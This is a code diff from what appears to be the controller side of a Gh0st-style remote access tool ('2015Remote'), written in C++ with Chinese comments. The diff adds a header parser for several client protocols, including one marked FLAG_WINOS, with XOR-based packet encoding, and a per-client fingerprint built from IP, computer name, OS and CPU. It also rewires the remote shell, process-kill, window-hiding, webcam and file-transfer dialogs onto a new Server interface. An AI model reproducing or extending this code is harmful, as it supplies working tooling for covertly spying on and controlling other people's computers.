+ if (buf.GetBufferLength() < MinimumCount) {
+ return PR{ PARSER_NEEDMORE };
+ }
+ char szPacketFlag[32] = { 0 };
+ buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
+ HeaderEncType encTyp = HeaderEncUnknown;
+ FlagType flagType = CheckHead(szPacketFlag, encTyp);
+ if (flagType == FLAG_UNKNOWN) {
+ // 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识]
+ const BYTE* ptr = (BYTE*)buf.GetBuffer(0), * p = ptr + 4;
+ int length = *((int*)ptr);
+ int excepted = buf.GetBufferLength();
+ if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
+ p[6] == 0 && p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
+ m_nFlagType = FLAG_WINOS;
+ compressMethod = COMPRESS_NONE;
+ memcpy(m_szPacketFlag, p, 10); // 通信密码
+ m_nCompareLen = 0;
+ m_nFlagLen = 0;
+ m_nHeaderLen = 14;
+ m_bParsed = TRUE;
+ m_Encoder = new Encoder();
+ m_Encoder2 = new WinOsEncoder();
+ return PR{ PARSER_WINOS };
+ }
+ return PR{ PARSER_FAILED };
+ }
+ if (m_bParsed) { // Check if the header has been parsed.
+ return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
+ }
+ // More version may be added in the future.
+ switch (m_nFlagType = flagType)
+ {
+ case FLAG_UNKNOWN:
+ return PR{ PARSER_FAILED };
+ case FLAG_SHINE:
+ memcpy(m_szPacketFlag, szPacketFlag, 5);
+ m_nCompareLen = 5;
+ m_nFlagLen = m_nCompareLen;
+ m_nHeaderLen = m_nFlagLen + 8;
+ m_bParsed = TRUE;
+ m_Encoder = new Encoder();
+ m_Encoder2 = new Encoder();
+ break;
+ case FLAG_FUCK:
+ memcpy(m_szPacketFlag, szPacketFlag, 8);
+ m_nCompareLen = 8;
+ m_nFlagLen = m_nCompareLen + 3;
+ m_nHeaderLen = m_nFlagLen + 8;
+ m_bParsed = TRUE;
+ m_Encoder = new XOREncoder();
+ m_Encoder2 = new Encoder();
+ break;
+ case FLAG_HELLO:
+ // This header is only for handling SOCKET_DLLLOADER command
+ memcpy(m_szPacketFlag, szPacketFlag, 8);
+ m_nCompareLen = 6;
+ m_nFlagLen = 8;
+ m_nHeaderLen = m_nFlagLen + 8;
+ m_bParsed = TRUE;
+ compressMethod = COMPRESS_NONE;
+ m_Encoder = new Encoder();
+ m_Encoder2 = new XOREncoder16();
+ break;
+ case FLAG_HELL:
+ // This version
+ memcpy(m_szPacketFlag, szPacketFlag, 8);
+ m_nCompareLen = FLAG_COMPLEN;
+ m_nFlagLen = FLAG_LENGTH;
+ m_nHeaderLen = m_nFlagLen + 8;
+ m_bParsed = TRUE;
+ m_Encoder = new Encoder();
+ m_Encoder2 = new XOREncoder16();
+ break;
+ default:
+ break;
+ }
+ return PR{ m_nFlagLen };
+ }
+ BOOL IsEncodeHeader() const {
+ return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
+ }
+ HeaderParser& Reset() {
+ SAFE_DELETE(m_Encoder);
+ SAFE_DELETE(m_Encoder2);
+ memset(this, 0, sizeof(HeaderParser));
+ return *this;
+ }
+ BOOL IsParsed() const {
+ return m_bParsed;
+ }
+ int GetFlagLen() const {
+ return m_nFlagLen;
+ }
+ int GetHeaderLen() const {
+ return m_nHeaderLen;
+ }
+ const char* GetFlag() const {
+ return m_szPacketFlag;
+ }
+ FlagType GetFlagType() const {
+ return m_nFlagType;
+ }
+ Encoder* GetEncoder() const {
+ return m_Encoder;
+ }
+ Encoder* GetEncoder2() const {
+ return m_Encoder2;
+ }
+private:
+ BOOL m_bParsed; // 数据包是否可以解析
+ int m_nHeaderLen; // 数据包的头长度
+ int m_nCompareLen; // 比对字节数
+ int m_nFlagLen; // 标识长度
+ FlagType m_nFlagType; // 标识类型
+ char m_szPacketFlag[32]; // 对比信息
+ Encoder* m_Encoder; // 编码器
+ Encoder* m_Encoder2; // 编码器2
+};
+
+enum IOType
+{
+ IOInitialize,
+ IORead,
+ IOWrite,
+ IOIdle
+};
+
+#define TRACK_OVERLAPPEDPLUS 0
+
+class OVERLAPPEDPLUS
+{
+public:
+
+ OVERLAPPED m_ol;
+ IOType m_ioType;
+
+ OVERLAPPEDPLUS(IOType ioType)
+ {
+#if TRACK_OVERLAPPEDPLUS
+ char szLog[100];
+ sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
+ Mprintf(szLog);
+#endif
+ ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
+ m_ioType = ioType;
+ }
+
+ ~OVERLAPPEDPLUS()
+ {
+#if TRACK_OVERLAPPEDPLUS
+ char szLog[100];
+ sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
+ Mprintf(szLog);
+#endif
+ }
+};
+
+typedef struct CONTEXT_OBJECT
+{
+ CString sClientInfo[ONLINELIST_MAX];
+ CString additonalInfo[RES_MAX];
+ SOCKET sClientSocket;
+ WSABUF wsaInBuf;
+ WSABUF wsaOutBuffer;
+ char szBuffer[PACKET_LENGTH];
+ CBuffer InCompressedBuffer; // 接收到的压缩的数据
+ CBuffer InDeCompressedBuffer; // 解压后的数据
+ CBuffer OutCompressedBuffer;
+ HWND hWnd;
+ HANDLE hDlg;
+ OVERLAPPEDPLUS* olps; // OVERLAPPEDPLUS
+ int CompressMethod; // 压缩算法
+ HeaderParser Parser; // 解析数据协议
+ uint64_t ID; // 唯一标识
+
+ BOOL m_bProxyConnected; // 代理是否连接
+ BOOL bLogin; // 是否 login
+ std::string PeerName; // 对端IP
+ int addrLen; // for UDP
+ sockaddr_in clientAddr; // for UDP
+
+ VOID InitMember(SOCKET s)
+ {
+ memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
+ hWnd = NULL;
+ hDlg = NULL;
+ sClientSocket = s;
+ PeerName = ::GetPeerName(sClientSocket);
+ memset(&wsaInBuf, 0, sizeof(WSABUF));
+ memset(&wsaOutBuffer, 0, sizeof(WSABUF));
+ olps = NULL;
+ for (int i = 0; i < ONLINELIST_MAX; i++) {
+ sClientInfo[i].Empty();
+ }
+ for (int i = 0; i < RES_MAX; i++) {
+ additonalInfo[i].Empty();
+ }
+ CompressMethod = COMPRESS_ZSTD;
+ Parser.Reset();
+ bLogin = FALSE;
+ m_bProxyConnected = FALSE;
+ clientAddr = {};
+ addrLen = sizeof(sockaddr_in);
+ }
+ VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector& a = {}) {
+ for (int i = 0; i < ONLINELIST_MAX; i++)
+ {
+ sClientInfo[i] = s[i];
+ }
+ for (int i = 0; i < a.size(); i++) {
+ additonalInfo[i] = a[i].c_str();
+ }
+ }
+ PBYTE GetBuffer(int offset) {
+ return InDeCompressedBuffer.GetBuffer(offset);
+ }
+ ULONG GetBufferLength() {
+ return InDeCompressedBuffer.GetBufferLength();
+ }
+ std::string GetPeerName() const {
+ return PeerName;
+ }
+ CString GetClientData(int index) const {
+ return sClientInfo[index];
+ }
+ void GetAdditionalData(CString(&s)[RES_MAX]) const {
+ for (int i = 0; i < RES_MAX; i++)
+ {
+ s[i] = additonalInfo[i];
+ }
+ }
+ void CancelIO() {
+ SAFE_CANCELIO(sClientSocket);
+ }
+ BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
+ return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
+ }
+ BYTE GetBYTE(int offset) {
+ return InDeCompressedBuffer.GetBYTE(offset);
+ }
+ // Write compressed buffer.
+ void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
+ if (Parser.IsParsed()) {
+ ULONG totalLen = dataLen + Parser.GetHeaderLen();
+ BYTE szPacketFlag[32] = {};
+ const int flagLen = Parser.GetFlagLen();
+ memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
+ if (Parser.IsEncodeHeader())
+ encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
+ OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
+ OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
+ if (Parser.GetFlagType() == FLAG_WINOS) {
+ memcpy(szPacketFlag, Parser.GetFlag(), 10);
+ OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
+ }
+ else {
+ OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
+ InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
+ }
+ Encode2(data, dataLen, szPacketFlag);
+ OutCompressedBuffer.WriteBuffer(data, dataLen);
+ }
+ }
+ // Read compressed buffer.
+ PBYTE ReadBuffer(ULONG& dataLen, ULONG& originLen) {
+ if (Parser.IsParsed()) {
+ ULONG totalLen = 0;
+ BYTE szPacketFlag[32] = {};
+ InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
+ InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
+ if (Parser.GetFlagType() == FLAG_WINOS) {
+ InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
+ }
+ else {
+ InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
+ }
+ dataLen = totalLen - Parser.GetHeaderLen();
+ PBYTE CompressedBuffer = new BYTE[dataLen];
+ InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
+ Decode2(CompressedBuffer, dataLen, szPacketFlag);
+ return CompressedBuffer;
+ }
+ return nullptr;
+ }
+ // Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
+ PR Parse(CBuffer& buf) {
+ return Parser.Parse(buf, CompressMethod);
+ }
+ // Encode data before compress.
+ void Encode(PBYTE data, int len) const {
+ Parser.GetEncoder()->Encode((unsigned char*)data, len);
+ }
+ // Decode data after uncompress.
+ void Decode(PBYTE data, int len) const {
+ Parser.GetEncoder()->Decode((unsigned char*)data, len);
+ }
+ // Encode data after compress.
+ void Encode2(PBYTE data, int len, PBYTE param) const {
+ Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
+ }
+ // Decode data before uncompress.
+ void Decode2(PBYTE data, int len, PBYTE param) const {
+ Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
+ }
+ std::string RemoteAddr() const {
+ sockaddr_in ClientAddr = {};
+ int ulClientAddrLen = sizeof(sockaddr_in);
+ int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
+ return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
+ }
+ static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
+ int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
+ CString s;
+ for (int i = 0; i < 5; i++) {
+ s += data[idx[i]] + "|";
+ }
+ s.Delete(s.GetLength() - 1);
+ return XXH64(s.GetString(), s.GetLength(), 0);
+ }
+ uint64_t GetID() const { return ID; }
+ void SetID(uint64_t id) { ID = id; }
+}CONTEXT_OBJECT, * PCONTEXT_OBJECT;
+
+typedef CList ContextObjectList;
+
+typedef void (CALLBACK* pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
+typedef void (CALLBACK* pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
+
+class Server
+{
+public:
+ Server(){}
+ virtual ~Server(){}
+
+ virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) = 0;
+
+ virtual void Send2Client(CONTEXT_OBJECT * ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) = 0;
+
+ virtual void UpdateMaxConnection(int maxConn){}
+
+ virtual void Destroy(){}
+
+ virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
+};
diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp
index 8ebd873..756a937 100644
--- a/server/2015Remote/ServicesDlg.cpp
+++ b/server/2015Remote/ServicesDlg.cpp
@@ -20,7 +20,7 @@ typedef struct ItemData1
}
} ItemData1;
-CServicesDlg::CServicesDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
+CServicesDlg::CServicesDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
{
}
@@ -157,7 +157,7 @@ void CServicesDlg::OnServicesStart()
void CServicesDlg::OnServicesReflash()
{
BYTE bToken = COMMAND_SERVICELIST; //刷新
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
// 释放资源以后再清空
@@ -254,7 +254,7 @@ void CServicesDlg::ServicesConfig(BYTE bCmd)
memcpy(szBuffer + dwOffset, szServiceName, lstrlen(szServiceName)+1);
- m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
+ m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h
index 81cb577..8374d2d 100644
--- a/server/2015Remote/ServicesDlg.h
+++ b/server/2015Remote/ServicesDlg.h
@@ -10,7 +10,7 @@ class CServicesDlg : public DialogBase
DECLARE_DYNAMIC(CServicesDlg)
public:
- CServicesDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
+ CServicesDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CServicesDlg();
int ShowServicesList(void);
diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp
index 7b8e7e4..c9ead59 100644
--- a/server/2015Remote/ShellDlg.cpp
+++ b/server/2015Remote/ShellDlg.cpp
@@ -25,7 +25,7 @@ void CAutoEndEdit::OnChar(UINT nChar, UINT nRepCnt, UINT nFlags) {
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
-CShellDlg::CShellDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
+CShellDlg::CShellDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CShellDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_SHELL)
{
}
@@ -64,7 +64,7 @@ BOOL CShellDlg::OnInitDialog()
SetWindowText(str);
BYTE bToken = COMMAND_NEXT;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
m_Edit.SetWindowTextA(">>");
m_nCurSel = m_Edit.GetWindowTextLengthA();
@@ -206,7 +206,7 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
return TRUE;
}
int length = str.GetLength() - m_nCurSel;
- m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
+ m_iocpServer->Send2Client(m_ContextObject, pSrc, length);
m_nCurSel = m_Edit.GetWindowTextLength();
}
// 限制VK_BACK
diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h
index 66ca16e..54d3f00 100644
--- a/server/2015Remote/ShellDlg.h
+++ b/server/2015Remote/ShellDlg.h
@@ -17,7 +17,7 @@ class CShellDlg : public DialogBase
DECLARE_DYNAMIC(CShellDlg)
public:
- CShellDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
+ CShellDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CShellDlg();
VOID OnReceiveComplete();
diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp
index d259e87..48575bb 100644
--- a/server/2015Remote/SystemDlg.cpp
+++ b/server/2015Remote/SystemDlg.cpp
@@ -20,7 +20,7 @@ typedef struct ItemData
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
- CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
+ CSystemDlg::CSystemDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
{
m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
@@ -285,7 +285,7 @@ void CSystemDlg::OnPlistKill()
dwOffset += sizeof(DWORD);
}
//发送数据到被控端在被控端中查找COMMAND_KILLPROCESS这个数据头
- m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, LocalSize(szBuffer));
+ m_iocpServer->Send2Client(m_ContextObject, szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
Sleep(100);
@@ -308,7 +308,7 @@ VOID CSystemDlg::OnPlistRefresh()
VOID CSystemDlg::GetProcessList(void)
{
BYTE bToken = COMMAND_PSLIST;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
@@ -321,7 +321,7 @@ void CSystemDlg::OnWlistRefresh()
void CSystemDlg::GetWindowsList(void)
{
BYTE bToken = COMMAND_WSLIST;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, 1);
}
@@ -363,7 +363,7 @@ void CSystemDlg::OnWlistClose()
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
- m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -387,7 +387,7 @@ void CSystemDlg::OnWlistHide()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow=SW_HIDE; //窗口处理参数 0
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
- m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -409,7 +409,7 @@ void CSystemDlg::OnWlistRecover()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_NORMAL;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
- m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -431,7 +431,7 @@ void CSystemDlg::OnWlistMax()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MAXIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
- m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
@@ -453,7 +453,7 @@ void CSystemDlg::OnWlistMin()
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MINIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
- m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
+ m_iocpServer->Send2Client(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf));
}
}
diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h
index c2780a2..59b6c45 100644
--- a/server/2015Remote/SystemDlg.h
+++ b/server/2015Remote/SystemDlg.h
@@ -9,7 +9,7 @@ class CSystemDlg : public DialogBase
DECLARE_DYNAMIC(CSystemDlg)
public:
- CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
+ CSystemDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CSystemDlg();
VOID GetProcessList(void);
diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp
index 2945ba3..9e86651 100644
--- a/server/2015Remote/TalkDlg.cpp
+++ b/server/2015Remote/TalkDlg.cpp
@@ -10,7 +10,7 @@
IMPLEMENT_DYNAMIC(CTalkDlg, CDialog)
-CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
+CTalkDlg::CTalkDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
: DialogBase(CTalkDlg::IDD, pParent, IOCPServer, ContextObject, IDR_MAINFRAME)
{
}
@@ -42,7 +42,7 @@ BOOL CTalkDlg::OnInitDialog()
SetIcon(m_hIcon, FALSE);
BYTE bToken = COMMAND_NEXT;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
@@ -66,7 +66,7 @@ void CTalkDlg::OnBnClickedButtonTalk()
m_EditTalk.SetWindowText(NULL);
- m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
+ m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));
}
diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h
index ed4be8a..da5ebfe 100644
--- a/server/2015Remote/TalkDlg.h
+++ b/server/2015Remote/TalkDlg.h
@@ -9,7 +9,7 @@ class CTalkDlg : public DialogBase
DECLARE_DYNAMIC(CTalkDlg)
public:
- CTalkDlg(CWnd* Parent, IOCPServer* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
+ CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
virtual ~CTalkDlg();
// 对话框数据
diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp
index a29adb0..e162ad0 100644
--- a/server/2015Remote/VideoDlg.cpp
+++ b/server/2015Remote/VideoDlg.cpp
@@ -108,7 +108,7 @@ void CVideoDlg::SaveAvi(void)
}
-CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
+CVideoDlg::CVideoDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA)
{
m_nCount = 0;
@@ -208,7 +208,7 @@ BOOL CVideoDlg::OnInitDialog()
BYTE bToken = COMMAND_NEXT;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
}
SetIcon(m_hIcon, TRUE);
@@ -304,7 +304,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
m_pVideoCodec = NULL;
// 通知服务端不启用压缩
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
}
@@ -329,7 +329,7 @@ void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
if (!bIsChecked)
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
- m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
+ m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
break;
}
}
diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h
index 98e1582..4d6c208 100644
--- a/server/2015Remote/VideoDlg.h
+++ b/server/2015Remote/VideoDlg.h
@@ -163,7 +163,7 @@ class CVideoDlg : public DialogBase
DECLARE_DYNAMIC(CVideoDlg)
public:
- CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
+ CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CVideoDlg();
LPBITMAPINFO m_BitmapInfor_Full;
diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp
index 2d0eae9..523098b 100644
--- a/server/2015Remote/file/CFileManagerDlg.cpp
+++ b/server/2015Remote/file/CFileManagerDlg.cpp
@@ -24,7 +24,7 @@ static UINT indicators[] = {
using namespace file;
-CFileManagerDlg::CFileManagerDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
+CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File)
{
m_ProgressCtrl = nullptr;
@@ -468,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList()
SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult);
BYTE bPacket = COMMAND_FILE_GETNETHOOD;
- m_iocpServer->Send(m_ContextObject, &bPacket, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &bPacket, 1);
}
void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize)
@@ -717,7 +717,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
- m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
@@ -744,7 +744,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize);
bPacket[0] = COMMAND_FILE_GETINFO;
memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1);
- m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
}
return;
@@ -769,7 +769,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
}
if (directory.Compare(_T("最近")) == 0) {
BYTE byToken = COMMAND_FILE_RECENT;
- m_iocpServer->Send(m_ContextObject, &byToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
return;
}
m_Remote_Path = directory;
@@ -779,7 +779,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
bPacket[0] = COMMAND_LIST_FILES;
memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1);
- m_iocpServer->Send(m_ContextObject, bPacket, PacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, PacketSize);
LocalFree(bPacket);
m_Remote_Directory_ComboBox.InsertString(0, directory);
@@ -937,7 +937,7 @@ void CFileManagerDlg::OnRemoteView()
void CFileManagerDlg::OnRemoteRecent()
{
BYTE byToken = COMMAND_FILE_RECENT;
- m_iocpServer->Send(m_ContextObject, &byToken, 1);
+ m_iocpServer->Send2Client(m_ContextObject, &byToken, 1);
}
void CFileManagerDlg::OnRemoteDesktop()
@@ -1131,7 +1131,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
// 文件偏移,续传时用
memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR));
- m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
@@ -1193,7 +1193,7 @@ BOOL CFileManagerDlg::SendUploadJob()
memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD));
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR));
- m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize);
+ m_iocpServer->Send2Client(m_ContextObject, bPacket, nPacketSize);
LocalFree(bPacket);
// 从下载任务列表中删除自己
@@ -1221,7 +1221,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
// 文件偏移,续传时用
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
